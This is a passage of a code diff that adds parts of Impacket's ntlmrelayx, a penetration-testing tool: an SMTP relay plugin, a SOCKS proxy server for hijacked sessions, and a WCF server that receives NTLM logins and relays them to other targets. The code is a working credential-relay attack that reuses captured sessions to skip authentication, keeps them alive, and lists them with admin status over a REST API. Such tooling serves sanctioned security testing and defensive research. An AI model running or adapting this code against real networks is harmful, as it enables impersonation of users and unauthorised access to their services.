+            LOG.debug('SMTP: Sending mirrored capabilities from server: %s' % ', '.join(clientcapabilities))
+            # Prepare capabilities
+            delim = EOL+'250-'
+            caps = delim.join(clientcapabilities[:-1]) + EOL + '250 ' + clientcapabilities[-1] + EOL
+            self.socksSocket.send('250-%s' % caps)
+        else:
+            LOG.error('SMTP: Socks plugin expected EHLO command, but got: %s %s' % (cmd, params))
+            return False
+        # next
+        cmd, params = self.recvPacketClient().split(' ', 1)
+        args = params.split(' ')
+        if cmd.upper() == 'AUTH' and args[0] == 'LOGIN':
+            # OK, ask for their username
+            self.socksSocket.send('334 VXNlcm5hbWU6'+EOL)
+            # Client will now send their AUTH
+            data = self.socksSocket.recv(self.packetSize)
+            # This contains base64(username), decode
+            creds = base64.b64decode(data.strip())
+            self.username = creds.upper()
+            # Client will now send the password, we don't care for it but receive it anyway
+            self.socksSocket.send('334 UGFzc3dvcmQ6'+EOL)
+            data = self.socksSocket.recv(self.packetSize)
+        elif cmd.upper() == 'AUTH' and args[0] == 'PLAIN':
+            # Simple login
+            # This contains base64(\x00username\x00password), decode and split
+            creds = base64.b64decode(args[1].strip())
+            self.username = creds.split('\x00')[1].upper()
+        else:
+            LOG.error('SMTP: Socks plugin expected AUTH PLAIN or AUTH LOGIN command, but got: %s %s' % (cmd, params))
+            return False
+
+        # Check if we have a connection for the user
+        if self.username in self.activeRelays:
+            # Check the connection is not inUse
+            if self.activeRelays[self.username]['inUse'] is True:
+                LOG.error('SMTP: Connection for %s@%s(%s) is being used at the moment!' % (
+                    self.username, self.targetHost, self.targetPort))
+                return False
+            else:
+                LOG.info('SMTP: Proxying client session for %s@%s(%s)' % (
+                    self.username, self.targetHost, self.targetPort))
+                self.session = self.activeRelays[self.username]['protocolClient'].session
+        else:
+            LOG.error('SMTP: No session for %s@%s(%s) available' % (
+                self.username, self.targetHost, self.targetPort))
+            return False
+
+        # We arrived here, that means all is OK
+        self.socksSocket.send('235 2.7.0 Authentication successful%s' % EOL)
+        self.relaySocket = self.session.sock
+        self.relaySocketFile = self.session.file
+        return True
+
+    def tunnelConnection(self):
+        doneIndicator = EOL+'.'+EOL
+        while True:
+            data = self.socksSocket.recv(self.packetSize)
+            # If this returns with an empty string, it means the socket was closed
+            if data == '':
+                return
+            info = data.strip().split(' ')
+            # See if a QUIT command was sent, in which case we want to close
+            # the connection to the client but keep the relayed connection alive
+            if info[0].upper() == 'QUIT':
+                LOG.debug('Client sent QUIT command, closing socks connection to client')
+                self.socksSocket.send('221 2.0.0 Service closing transmission channel%s' % EOL)
+                return
+            self.relaySocket.send(data)
+            data = self.relaySocket.recv(self.packetSize)
+            self.socksSocket.send(data)
+            if info[0].upper() == 'DATA':
+                LOG.debug('SMTP Socks entering DATA transfer mode')
+                # DATA transfer, forward to the server till done
+                while data[-5:] != doneIndicator:
+                    prevdata = data
+                    data = self.socksSocket.recv(self.packetSize)
+                    self.relaySocket.send(data)
+                    if len(data) < 5:
+                        # This can happen, the .CRLF will be in a packet after the first CRLF
+                        # we stitch them back together for analysis
+                        data = prevdata + data
+                LOG.debug('SMTP Socks DATA transfer mode finished')
+                # DATA done, forward server reply
+                data = self.relaySocket.recv(self.packetSize)
+                self.socksSocket.send(data)
+
+    def recvPacketClient(self):
+        data = self.socksSocket.recv(self.packetSize)
+        return data
diff --git a/impacket/examples/ntlmrelayx/servers/socksserver.py b/impacket/examples/ntlmrelayx/servers/socksserver.py
new file mode 100644
index 0000000..d2de32f
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/servers/socksserver.py
@@ -0,0 +1,498 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   SOCKS proxy server/client
+#
+#  A simple SOCKS server that proxy connection to relayed connections
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+# ToDo:
+#   [ ] Handle better the SOCKS specification (RFC1928), e.g. BIND
+#   [ ] Port handlers should be dynamically subscribed, and coded in another place. This will help coding
+#       proxies for different protocols (e.g. MSSQL)
+#
+from __future__ import division
+from __future__ import print_function
+import socketserver
+import socket
+import time
+import logging
+from queue import Queue
+from struct import unpack, pack
+from threading import Timer, Thread
+
+from impacket import LOG
+from impacket.dcerpc.v5.enum import Enum
+from impacket.structure import Structure
+
+# Amount of seconds each socks plugin keep alive function will be called
+# It is up to each plugin to send the keep alive to the target or not in every hit.
+# In some cases (e.g. SMB) it is not needed to send a keep alive every 30 secs.
+KEEP_ALIVE_TIMER = 30.0
+
+class enumItems(Enum):
+    NO_AUTHENTICATION = 0
+    GSSAPI            = 1
+    USER_PASS         = 2
+    UNACCEPTABLE      = 0xFF
+
+class replyField(Enum):
+    SUCCEEDED             = 0
+    SOCKS_FAILURE         = 1
+    NOT_ALLOWED           = 2
+    NETWORK_UNREACHABLE   = 3
+    HOST_UNREACHABLE      = 4
+    CONNECTION_REFUSED    = 5
+    TTL_EXPIRED           = 6
+    COMMAND_NOT_SUPPORTED = 7
+    ADDRESS_NOT_SUPPORTED = 8
+
+class ATYP(Enum):
+    IPv4 = 1
+    DOMAINNAME = 3
+    IPv6 = 4
+
+class SOCKS5_GREETINGS(Structure):
+    structure = (
+        ('VER','B=5'),
+        #('NMETHODS','B=0'),
+        ('METHODS','B*B'),
+    )
+
+
+class SOCKS5_GREETINGS_BACK(Structure):
+    structure = (
+        ('VER','B=5'),
+        ('METHODS','B=0'),
+    )
+
+class SOCKS5_REQUEST(Structure):
+    structure = (
+        ('VER','B=5'),
+        ('CMD','B=0'),
+        ('RSV','B=0'),
+        ('ATYP','B=0'),
+        ('PAYLOAD',':'),
+    )
+
+class SOCKS5_REPLY(Structure):
+    structure = (
+        ('VER','B=5'),
+        ('REP','B=5'),
+        ('RSV','B=0'),
+        ('ATYP','B=1'),
+        ('PAYLOAD',':="AAAAA"'),
+    )
+
+class SOCKS4_REQUEST(Structure):
+    structure = (
+        ('VER','B=4'),
+        ('CMD','B=0'),
+        ('PORT','>H=0'),
+        ('ADDR','4s="'),
+        ('PAYLOAD',':'),
+    )
+
+class SOCKS4_REPLY(Structure):
+    structure = (
+        ('VER','B=0'),
+        ('REP','B=0x5A'),
+        ('RSV','<H=0'),
+        ('RSV','<L=0'),
+    )
+
+activeConnections = Queue()
+
+# Taken from https://stackoverflow.com/questions/474528/what-is-the-best-way-to-repeatedly-execute-a-function-every-x-seconds-in-python
+# Thanks https://stackoverflow.com/users/624066/mestrelion
+class RepeatedTimer(object):
+  def __init__(self, interval, function, *args, **kwargs):
+    self._timer = None
+    self.interval = interval
+    self.function = function
+    self.args = args
+    self.kwargs = kwargs
+    self.is_running = False
+    self.next_call = time.time()
+    self.start()
+
+  def _run(self):
+    self.is_running = False
+    self.start()
+    self.function(*self.args, **self.kwargs)
+
+  def start(self):
+    if not self.is_running:
+      self.next_call += self.interval
+      self._timer = Timer(self.next_call - time.time(), self._run)
+      self._timer.start()
+      self.is_running = True
+
+  def stop(self):
+    self._timer.cancel()
+    self.is_running = False
+
+# Base class for Relay Socks Servers for different protocols (SMB, MSSQL, etc)
+# Besides using this base class you need to define one global variable when
+# writing a plugin for socksplugins:
+# PLUGIN_CLASS = "<name of the class for the plugin>"
+class SocksRelay:
+    PLUGIN_NAME = 'Base Plugin'
+    # The plugin scheme, for automatic registration with relay servers
+    # Should be specified in full caps, e.g. LDAP, HTTPS
+    PLUGIN_SCHEME = ''
+
+    def __init__(self, targetHost, targetPort, socksSocket, activeRelays):
+        self.targetHost = targetHost
+        self.targetPort = targetPort
+        self.socksSocket = socksSocket
+        self.sessionData = activeRelays['data']
+        self.username = None
+        self.clientConnection = None
+        self.activeRelays = activeRelays
+
+    def initConnection(self):
+        # Here we do whatever is necessary to leave the relay ready for processing incoming connections
+        raise RuntimeError('Virtual Function')
+
+    def skipAuthentication(self):
+        # Charged of bypassing any authentication attempt from the client
+        raise RuntimeError('Virtual Function')
+
+    def tunnelConnection(self):
+        # Charged of tunneling the rest of the connection
+        raise RuntimeError('Virtual Function')
+
+    @staticmethod
+    def getProtocolPort(self):
+        # Should return the port this relay works against
+        raise RuntimeError('Virtual Function')
+
+
+def keepAliveTimer(server):
+    LOG.debug('KeepAlive Timer reached. Updating connections')
+
+    for target in list(server.activeRelays.keys()):
+        for port in list(server.activeRelays[target].keys()):
+            # Now cycle through the users
+            for user in list(server.activeRelays[target][port].keys()):
+                if user != 'data' and user != 'scheme':
+                    # Let's call the keepAlive method for the handler to keep the connection alive
+                    if server.activeRelays[target][port][user]['inUse'] is False:
+                        LOG.debug('Calling keepAlive() for %s@%s:%s' % (user, target, port))
+                        try:
+                            server.activeRelays[target][port][user]['protocolClient'].keepAlive()
+                        except Exception as e:
+                            LOG.debug("Exception:",exc_info=True)
+                            LOG.debug('SOCKS: %s' % str(e))
+                            if str(e).find('Broken pipe') >= 0 or str(e).find('reset by peer') >=0 or \
+                                            str(e).find('Invalid argument') >= 0 or str(e).find('Server not connected') >=0:
+                                # Connection died, taking out of the active list
+                                del (server.activeRelays[target][port][user])
+                                if len(list(server.activeRelays[target][port].keys())) == 1:
+                                    del (server.activeRelays[target][port])
+                                LOG.debug('Removing active relay for %s@%s:%s' % (user, target, port))
+                    else:
+                        LOG.debug('Skipping %s@%s:%s since it\'s being used at the moment' % (user, target, port))
+
+def activeConnectionsWatcher(server):
+    while True:
+        # This call blocks until there is data, so it doesn't loop endlessly
+        target, port, scheme, userName, client, data = activeConnections.get()
+        # ToDo: Careful. Dicts are not thread safe right?
+        if (target in server.activeRelays) is not True:
+            server.activeRelays[target] = {}
+        if (port in server.activeRelays[target]) is not True:
+            server.activeRelays[target][port] = {}
+
+        if (userName in server.activeRelays[target][port]) is not True:
+            LOG.info('SOCKS: Adding %s@%s(%s) to active SOCKS connection. Enjoy' % (userName, target, port))
+            server.activeRelays[target][port][userName] = {}
+            # This is the protocolClient. Needed because we need to access the killConnection from time to time.
+            # Inside this instance, you have the session attribute pointing to the relayed session.
+            server.activeRelays[target][port][userName]['protocolClient'] = client
+            server.activeRelays[target][port][userName]['inUse'] = False
+            server.activeRelays[target][port][userName]['data'] = data
+            # Just for the CHALLENGE data, we're storing this general
+            server.activeRelays[target][port]['data'] = data
+            # Let's store the protocol scheme, needed be used later when trying to find the right socks relay server to use
+            server.activeRelays[target][port]['scheme'] = scheme
+
+            # Default values in case somebody asks while we're getting the data
+            server.activeRelays[target][port][userName]['isAdmin'] = 'N/A'
+            # Do we have admin access in this connection?
+            try:
+                LOG.debug("Checking admin status for user %s" % str(userName))
+                isAdmin = client.isAdmin()
+                server.activeRelays[target][port][userName]['isAdmin'] = isAdmin
+            except Exception as e:
+                # Method not implemented
+                server.activeRelays[target][port][userName]['isAdmin'] = 'N/A'
+                pass
+            LOG.debug("isAdmin returned: %s" % server.activeRelays[target][port][userName]['isAdmin'])
+        else:
+            LOG.info('Relay connection for %s at %s(%d) already exists. Discarding' % (userName, target, port))
+            client.killConnection()
+
+def webService(server):
+    from flask import Flask, jsonify
+
+    app = Flask(__name__)
+
+    log = logging.getLogger('werkzeug')
+    log.setLevel(logging.ERROR)
+
+    @app.route('/')
+    def index():
+        print(server.activeRelays)
+        return "Relays available: %s!" % (len(server.activeRelays))
+
+    @app.route('/ntlmrelayx/api/v1.0/relays', methods=['GET'])
+    def get_relays():
+        relays = []
+        for target in server.activeRelays:
+            for port in server.activeRelays[target]:
+                for user in server.activeRelays[target][port]:
+                    if user != 'data' and user != 'scheme':
+                        protocol = server.activeRelays[target][port]['scheme']
+                        isAdmin = server.activeRelays[target][port][user]['isAdmin']
+                        relays.append([protocol, target, user, isAdmin, str(port)])
+        return jsonify(relays)
+
+    @app.route('/ntlmrelayx/api/v1.0/relays', methods=['GET'])
+    def get_info(relay):
+        pass
+
+    app.run(host='0.0.0.0', port=9090)
+
+class SocksRequestHandler(socketserver.BaseRequestHandler):
+    def __init__(self, request, client_address, server):
+        self.__socksServer = server
+        self.__ip, self.__port = client_address
+        self.__connSocket= request
+        self.__socksVersion = 5
+        self.targetHost = None
+        self.targetPort = None
+        self.__NBSession= None
+        socketserver.BaseRequestHandler.__init__(self, request, client_address, server)
+
+    def sendReplyError(self, error = replyField.CONNECTION_REFUSED):
+
+        if self.__socksVersion == 5:
+            reply = SOCKS5_REPLY()
+            reply['REP'] = error.value
+        else:
+            reply = SOCKS4_REPLY()
+            if error.value != 0:
+                reply['REP'] = 0x5B
+        return self.__connSocket.sendall(reply.getData())
+
+    def handle(self):
+        LOG.debug("SOCKS: New Connection from %s(%s)" % (self.__ip, self.__port))
+
+        data = self.__connSocket.recv(8192)
+        grettings = SOCKS5_GREETINGS_BACK(data)
+        self.__socksVersion = grettings['VER']
+
+        if self.__socksVersion == 5:
+            # We need to answer back with a no authentication response. We're not dealing with auth for now
+            self.__connSocket.sendall(SOCKS5_GREETINGS_BACK().getData())
+            data = self.__connSocket.recv(8192)
+            request = SOCKS5_REQUEST(data)
+        else:
+            # We're in version 4, we just received the request
+            request = SOCKS4_REQUEST(data)
+
+        # Let's process the request to extract the target to connect.
+        # SOCKS5
+        if self.__socksVersion == 5:
+            if request['ATYP'] == ATYP.IPv4.value:
+                self.targetHost = socket.inet_ntoa(request['PAYLOAD'][:4])
+                self.targetPort = unpack('>H',request['PAYLOAD'][4:])[0]
+            elif request['ATYP'] == ATYP.DOMAINNAME.value:
+                hostLength = unpack('!B',request['PAYLOAD'][0])[0]
+                self.targetHost = request['PAYLOAD'][1:hostLength+1]
+                self.targetPort = unpack('>H',request['PAYLOAD'][hostLength+1:])[0]
+            else:
+                LOG.error('No support for IPv6 yet!')
+        # SOCKS4
+        else:
+            self.targetPort = request['PORT']
+
+            # SOCKS4a
+            if request['ADDR'][:3] == "\x00\x00\x00" and request['ADDR'][3] != "\x00":
+                nullBytePos = request['PAYLOAD'].find("\x00")
+
+                if nullBytePos == -1:
+                    LOG.error('Error while reading SOCKS4a header!')
+                else:
+                    self.targetHost = request['PAYLOAD'].split('\0', 1)[1][:-1]
+            else:
+                self.targetHost = socket.inet_ntoa(request['ADDR'])
+
+        LOG.debug('SOCKS: Target is %s(%s)' % (self.targetHost, self.targetPort))
+
+        if self.targetPort != 53:
+            # Do we have an active connection for the target host/port asked?
+            # Still don't know the username, but it's a start
+            if self.targetHost in self.__socksServer.activeRelays:
+                if (self.targetPort in self.__socksServer.activeRelays[self.targetHost]) is not True:
+                    LOG.error('SOCKS: Don\'t have a relay for %s(%s)' % (self.targetHost, self.targetPort))
+                    self.sendReplyError(replyField.CONNECTION_REFUSED)
+                    return
+            else:
+                LOG.error('SOCKS: Don\'t have a relay for %s(%s)' % (self.targetHost, self.targetPort))
+                self.sendReplyError(replyField.CONNECTION_REFUSED)
+                return
+
+        # Now let's get into the loops
+        if self.targetPort == 53:
+            # Somebody wanting a DNS request. Should we handle this?
+            s = socket.socket()
+            try:
+                LOG.debug('SOCKS: Connecting to %s(%s)' %(self.targetHost, self.targetPort))
+                s.connect((self.targetHost, self.targetPort))
+            except Exception as e:
+                LOG.debug("Exception:", exc_info=True)
+                LOG.error('SOCKS: %s' %str(e))
+                self.sendReplyError(replyField.CONNECTION_REFUSED)
+                return
+
+            if self.__socksVersion == 5:
+                reply = SOCKS5_REPLY()
+                reply['REP'] = replyField.SUCCEEDED.value
+                addr, port = s.getsockname()
+                reply['PAYLOAD'] = socket.inet_aton(addr) + pack('>H', port)
+            else:
+                reply = SOCKS4_REPLY()
+
+            self.__connSocket.sendall(reply.getData())
+
+            while True:
+                try:
+                    data = self.__connSocket.recv(8192)
+                    if data == b'':
+                        break
+                    s.sendall(data)
+                    data = s.recv(8192)
+                    self.__connSocket.sendall(data)
+                except Exception as e:
+                    LOG.debug("Exception:", exc_info=True)
+                    LOG.error('SOCKS: %s', str(e))
+
+        # Let's look if there's a relayed connection for our host/port
+        scheme = None
+        if self.targetHost in self.__socksServer.activeRelays:
+            if self.targetPort in self.__socksServer.activeRelays[self.targetHost]:
+                scheme = self.__socksServer.activeRelays[self.targetHost][self.targetPort]['scheme']
+
+        if scheme is not None:
+            LOG.debug('Handler for port %s found %s' % (self.targetPort, self.__socksServer.socksPlugins[scheme]))
+            relay = self.__socksServer.socksPlugins[scheme](self.targetHost, self.targetPort, self.__connSocket,
+                                  self.__socksServer.activeRelays[self.targetHost][self.targetPort])
+
+            try:
+                relay.initConnection()
+
+                # Let's answer back saying we've got the connection. Data is fake
+                if self.__socksVersion == 5:
+                    reply = SOCKS5_REPLY()
+                    reply['REP'] = replyField.SUCCEEDED.value
+                    addr, port = self.__connSocket.getsockname()
+                    reply['PAYLOAD'] = socket.inet_aton(addr) + pack('>H', port)
+                else:
+                    reply = SOCKS4_REPLY()
+
+                self.__connSocket.sendall(reply.getData())
+
+                if relay.skipAuthentication() is not True:
+                    # Something didn't go right
+                    # Close the socket
+                    self.__connSocket.close()
+                    return
+
+                # Ok, so we have a valid connection to play with. Let's lock it while we use it so the Timer doesn't send a
+                # keep alive to this one.
+                self.__socksServer.activeRelays[self.targetHost][self.targetPort][relay.username]['inUse'] = True
+
+                relay.tunnelConnection()
+            except Exception as e:
+                LOG.debug("Exception:", exc_info=True)
+                LOG.debug('SOCKS: %s' % str(e))
+                if str(e).find('Broken pipe') >= 0 or str(e).find('reset by peer') >=0 or \
+                                str(e).find('Invalid argument') >= 0:
+                    # Connection died, taking out of the active list
+                    del(self.__socksServer.activeRelays[self.targetHost][self.targetPort][relay.username])
+                    if len(list(self.__socksServer.activeRelays[self.targetHost][self.targetPort].keys())) == 1:
+                        del(self.__socksServer.activeRelays[self.targetHost][self.targetPort])
+                    LOG.debug('Removing active relay for %s@%s:%s' % (relay.username, self.targetHost, self.targetPort))
+                    self.sendReplyError(replyField.CONNECTION_REFUSED)
+                    return
+                pass
+
+            # Freeing up this connection
+            if relay.username is not None:
+                self.__socksServer.activeRelays[self.targetHost][self.targetPort][relay.username]['inUse'] = False
+        else:
+            LOG.error('SOCKS: I don\'t have a handler for this port')
+
+        LOG.debug('SOCKS: Shutting down connection')
+        try:
+            self.sendReplyError(replyField.CONNECTION_REFUSED)
+        except Exception as e:
+            LOG.debug('SOCKS END: %s' % str(e))
+
+
+class SOCKS(socketserver.ThreadingMixIn, socketserver.TCPServer):
+    def __init__(self, server_address=('0.0.0.0', 1080), handler_class=SocksRequestHandler):
+        LOG.info('SOCKS proxy started. Listening at port %d', server_address[1] )
+
+        self.activeRelays = {}
+        self.socksPlugins = {}
+        self.restAPI = None
+        self.activeConnectionsWatcher = None
+        self.supportedSchemes = []
+        socketserver.TCPServer.allow_reuse_address = True
+        socketserver.TCPServer.__init__(self, server_address, handler_class)
+
+        # Let's register the socksplugins plugins we have
+        from impacket.examples.ntlmrelayx.servers.socksplugins import SOCKS_RELAYS
+
+        for relay in SOCKS_RELAYS:
+            LOG.info('%s loaded..' % relay.PLUGIN_NAME)
+            self.socksPlugins[relay.PLUGIN_SCHEME] = relay
+            self.supportedSchemes.append(relay.PLUGIN_SCHEME)
+
+        # Let's create a timer to keep the connections up.
+        self.__timer = RepeatedTimer(KEEP_ALIVE_TIMER, keepAliveTimer, self)
+
+        # Let's start our RESTful API
+        self.restAPI = Thread(target=webService, args=(self, ))
+        self.restAPI.daemon = True
+        self.restAPI.start()
+
+        # Let's start out worker for active connections
+        self.activeConnectionsWatcher = Thread(target=activeConnectionsWatcher, args=(self, ))
+        self.activeConnectionsWatcher.daemon = True
+        self.activeConnectionsWatcher.start()
+
+    def shutdown(self):
+        self.__timer.stop()
+        del self.restAPI
+        del self.activeConnectionsWatcher
+        return socketserver.TCPServer.shutdown(self)
+
+if __name__ == '__main__':
+    from impacket.examples import logger
+    logger.init()
+    s = SOCKS()
+    s.serve_forever()
diff --git a/impacket/examples/ntlmrelayx/servers/wcfrelayserver.py b/impacket/examples/ntlmrelayx/servers/wcfrelayserver.py
new file mode 100644
index 0000000..b7bd809
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/servers/wcfrelayserver.py
@@ -0,0 +1,366 @@
+# -*- coding: utf-8 -*-
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   WCF Relay Server
+#
+#   This is the WCF server (ADWS too) which relays the NTLMSSP messages to other protocols
+#   Only NetTcpBinding is supported!
+#
+# Author:
+#   Clément Notin (@cnotin)
+#   With code copied from smbrelayserver.py and httprelayserver.py authored by:
+#     Alberto Solino (@agsolino)
+#     Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
+#
+# References:
+#   To support NetTcpBinding, this implements the ".NET Message Framing Protocol" [MC-NMF] and
+#   ".NET NegotiateStream Protocol" [MS-NNS]
+#   Thanks to inspiration from https://github.com/ernw/net.tcp-proxy/blob/master/nettcp/nmf.py
+#   and https://github.com/ernw/net.tcp-proxy/blob/master/nettcp/stream/negotiate.py by @bluec0re
+#
+
+import socket
+import socketserver
+import struct
+from binascii import hexlify
+from threading import Thread
+
+from six import PY2
+
+from impacket import ntlm, LOG
+from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections
+from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor
+from impacket.nt_errors import STATUS_ACCESS_DENIED, STATUS_SUCCESS
+from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile
+from impacket.spnego import SPNEGO_NegTokenInit, ASN1_AID, SPNEGO_NegTokenResp, TypesMech, MechTypes, \
+    ASN1_SUPPORTED_MECH
+
+
+class WCFRelayServer(Thread):
+    class WCFServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
+        def __init__(self, server_address, request_handler_class, config):
+            self.config = config
+            self.daemon_threads = True
+            if self.config.ipv6:
+                self.address_family = socket.AF_INET6
+            self.wpad_counters = {}
+            socketserver.TCPServer.__init__(self, server_address, request_handler_class)
+
+    class WCFHandler(socketserver.BaseRequestHandler):
+        def __init__(self, request, client_address, server):
+            self.server = server
+            self.challengeMessage = None
+            self.target = None
+            self.client = None
+            self.machineAccount = None
+            self.machineHashes = None
+            self.domainIp = None
+            self.authUser = None
+
+            if self.server.config.target is None:
+                # Reflection mode, defaults to SMB at the target, for now
+                self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % client_address[0])
+            self.target = self.server.config.target.getTarget()
+            if self.target is None:
+                LOG.info("WCF: Received connection from %s, but there are no more targets left!" % client_address[0])
+                return
+            LOG.info("WCF: Received connection from %s, attacking target %s://%s" % (
+                client_address[0], self.target.scheme, self.target.netloc))
+
+            socketserver.BaseRequestHandler.__init__(self, request, client_address, server)
+
+        # recv from socket for exact 'length' (even if fragmented over several packets)
+        def recvall(self, length):
+            buf = b''
+            while not len(buf) == length:
+                buf += self.request.recv(length - len(buf))
+
+            if PY2:
+                buf = bytearray(buf)
+            return buf
+
+        def handle(self):
+            version_code = self.recvall(1)
+            if version_code != b'\x00':
+                LOG.error("WCF: wrong VersionRecord code")
+                return
+            version = self.recvall(2)  # should be \x01\x00 but we don't care
+            if version != b'\x01\x00':
+                LOG.error("WCF: wrong VersionRecord version")
+                return
+
+            mode_code = self.recvall(1)
+            if mode_code != b'\x01':
+                LOG.error("WCF: wrong ModeRecord code")
+                return
+            mode = self.recvall(1)  # we don't care
+
+            via_code = self.recvall(1)
+            if via_code != b'\x02':
+                LOG.error("WCF: wrong ViaRecord code")
+                return
+            via_len = self.recvall(1)
+            via_len = struct.unpack("B", via_len)[0]
+            via = self.recvall(via_len).decode("utf-8")
+
+            if not via.startswith("net.tcp://"):
+                LOG.error("WCF: the Via URL '" + via + "' does not start with 'net.tcp://'. "
+                                                       "Only NetTcpBinding is currently supported!")
+                return
+
+            known_encoding_code = self.recvall(1)
+            if known_encoding_code != b'\x03':
+                LOG.error("WCF: wrong KnownEncodingRecord code")
+                return
+            encoding = self.recvall(1)  # we don't care
+
+            upgrade_code = self.recvall(1)
+            if upgrade_code != b'\x09':
+                LOG.error("WCF: wrong UpgradeRequestRecord code")
+                return
+            upgrade_len = self.recvall(1)
+            upgrade_len = struct.unpack("B", upgrade_len)[0]
+            upgrade = self.recvall(upgrade_len).decode("utf-8")
+
+            if upgrade != "application/negotiate":
+                LOG.error("WCF: upgrade '" + upgrade + "' is not 'application/negotiate'. Only Negotiate is supported!")
+                return
+            self.request.sendall(b'\x0a')
+
+            while True:
+                handshake_in_progress = self.recvall(5)
+                if not handshake_in_progress[0] == 0x16:
+                    LOG.error("WCF: Wrong handshake_in_progress message")
+                    return
+
+                securityBlob_len = struct.unpack(">H", handshake_in_progress[3:5])[0]
+                securityBlob = self.recvall(securityBlob_len)
+
+                rawNTLM = False
+                if struct.unpack('B', securityBlob[0:1])[0] == ASN1_AID:
+                    # SPNEGO NEGOTIATE packet
+                    blob = SPNEGO_NegTokenInit(securityBlob)
+                    token = blob['MechToken']
+                    if len(blob['MechTypes'][0]) > 0:
+                        # Is this GSSAPI NTLM or something else we don't support?
+                        mechType = blob['MechTypes'][0]
+                        if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \
+                                mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']:
+                            # Nope, do we know it?
+                            if mechType in MechTypes:
+                                mechStr = MechTypes[mechType]
+                            else:
+                                mechStr = hexlify(mechType)
+                            LOG.error("Unsupported MechType '%s'" % mechStr)
+                            # We don't know the token, we answer back again saying
+                            # we just support NTLM.
+                            respToken = SPNEGO_NegTokenResp()
+                            respToken['NegState'] = b'\x03'  # request-mic
+                            respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
+                            respToken = respToken.getData()
+
+                            # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nns/3e77f3ac-db7e-4c76-95de-911dd280947b
+                            answer = b'\x16'  # handshake_in_progress
+                            answer += b'\x01\x00'  # version
+                            answer += struct.pack(">H", len(respToken))  # len
+                            answer += respToken
+
+                            self.request.sendall(answer)
+
+                elif struct.unpack('B', securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH:
+                    # SPNEGO AUTH packet
+                    blob = SPNEGO_NegTokenResp(securityBlob)
+                    token = blob['ResponseToken']
+                    break
+                else:
+                    # No GSSAPI stuff, raw NTLMSSP
+                    rawNTLM = True
+                    token = securityBlob
+                    break
+
+            if not token.startswith(b"NTLMSSP\0\1"):  # NTLMSSP_NEGOTIATE: message type 1
+                LOG.error("WCF: Wrong NTLMSSP_NEGOTIATE message")
+                return
+
+            if not self.do_ntlm_negotiate(token):
+                # Connection failed
+                LOG.error('Negotiating NTLM with %s://%s failed. Skipping to next target',
+                          self.target.scheme, self.target.netloc)
+                self.server.config.target.logTarget(self.target)
+                return
+
+            # Calculate auth
+            ntlmssp_challenge = self.challengeMessage.getData()
+
+            if not rawNTLM:
+                # add SPNEGO wrapping
+                respToken = SPNEGO_NegTokenResp()
+                # accept-incomplete. We want more data
+                respToken['NegState'] = b'\x01'
+                respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
+
+                respToken['ResponseToken'] = ntlmssp_challenge
+                ntlmssp_challenge = respToken.getData()
+
+            # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nns/3e77f3ac-db7e-4c76-95de-911dd280947b
+            handshake_in_progress = b"\x16\x01\x00" + struct.pack(">H", len(ntlmssp_challenge))
+            self.request.sendall(handshake_in_progress)
+            self.request.sendall(ntlmssp_challenge)
+
+            handshake_done = self.recvall(5)
+
+            if handshake_done[0] == 0x15:
+                error_len = struct.unpack(">H", handshake_done[3:5])[0]
+                error_msg = self.recvall(error_len)
+                hresult = hex(struct.unpack('>I', error_msg[4:8])[0])
+                LOG.error("WCF: Received handshake_error message: " + hresult)
+                return
+
+            ntlmssp_auth_len = struct.unpack(">H", handshake_done[3:5])[0]
+            ntlmssp_auth = self.recvall(ntlmssp_auth_len)
+
+            if not rawNTLM:
+                # remove SPNEGO wrapping
+                blob = SPNEGO_NegTokenResp(ntlmssp_auth)
+                ntlmssp_auth = blob['ResponseToken']
+
+            if not ntlmssp_auth.startswith(b"NTLMSSP\0\3"):  # NTLMSSP_AUTH: message type 3
+                LOG.error("WCF: Wrong NTLMSSP_AUTH message")
+                return
+
+            authenticateMessage = ntlm.NTLMAuthChallengeResponse()
+            authenticateMessage.fromString(ntlmssp_auth)
+
+            if not self.do_ntlm_auth(ntlmssp_auth, authenticateMessage):
+                if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
+                    LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % (
+                        self.target.scheme, self.target.netloc,
+                        authenticateMessage['domain_name'].decode('utf-16le'),
+                        authenticateMessage['user_name'].decode('utf-16le')))
+                else:
+                    LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % (
+                        self.target.scheme, self.target.netloc,
+                        authenticateMessage['domain_name'].decode('ascii'),
+                        authenticateMessage['user_name'].decode('ascii')))
+                return
+
+            # Relay worked, do whatever we want here...
+            if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
+                LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
+                    self.target.scheme, self.target.netloc,
+                    authenticateMessage['domain_name'].decode('utf-16le'),
+                    authenticateMessage['user_name'].decode('utf-16le')))
+            else:
+                LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
+                    self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'),
+                    authenticateMessage['user_name'].decode('ascii')))
+
